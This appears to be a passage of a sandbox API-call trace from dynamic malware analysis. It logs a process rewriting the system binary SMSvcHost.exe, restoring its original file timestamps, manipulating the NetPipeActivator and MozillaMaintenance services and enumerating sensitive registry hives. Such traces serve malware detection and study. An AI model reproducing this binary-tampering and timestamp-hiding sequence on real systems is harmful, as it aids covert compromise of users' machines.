[0217.424] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x44000 [0217.424] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0217.424] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x29f0048 [0217.428] ReadFile (in: hFile=0x154, lpBuffer=0x29f0048, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x29f0048*, lpNumberOfBytesRead=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0217.428] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x44000) returned 0x2a34050 [0217.433] SetEndOfFile (hFile=0x154) returned 1 [0217.433] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xe2894000, dwHighDateTime=0x1d0aa22)) returned 1 [0217.433] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0217.433] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0217.433] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0217.433] NtClose (Handle=0x154) returned 0x0 [0217.433] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0217.433] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0217.433] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0217.433] WriteFile (in: hFile=0x154, lpBuffer=0x2a34050*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2a34050*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0217.434] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0217.434] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0217.434] NtClose (Handle=0x154) returned 0x0 [0217.434] OpenServiceW (hSCManager=0x803918, lpServiceName="NetPipeActivator", dwDesiredAccess=0x10) returned 0x8038a0 [0217.434] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 0 [0217.435] GetLastError () returned 0x433 [0217.435] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0217.435] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2a34050) returned 1 [0217.438] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0217.438] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0217.438] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0217.438] OpenServiceW (hSCManager=0x803918, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x20) returned 0x803990 [0217.439] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0217.439] GetLastError () returned 0x426 [0217.439] CloseServiceHandle (hSCObject=0x803990) returned 1 [0217.439] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0217.439] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0217.439] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0217.439] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0217.440] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0217.440] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.440] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.440] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0217.440] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.440] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.440] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.441] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.441] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.441] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0217.441] RegCloseKey (hKey=0x80000002) returned 0x0 [0217.441] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0217.441] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.442] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.442] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.442] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0217.442] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.443] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.443] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.443] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.443] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0217.443] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.444] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.444] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0217.444] RegCloseKey (hKey=0x148) returned 0x0 [0217.444] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0217.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.444] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0217.444] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.445] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.445] WideCharToMultiByte (in: 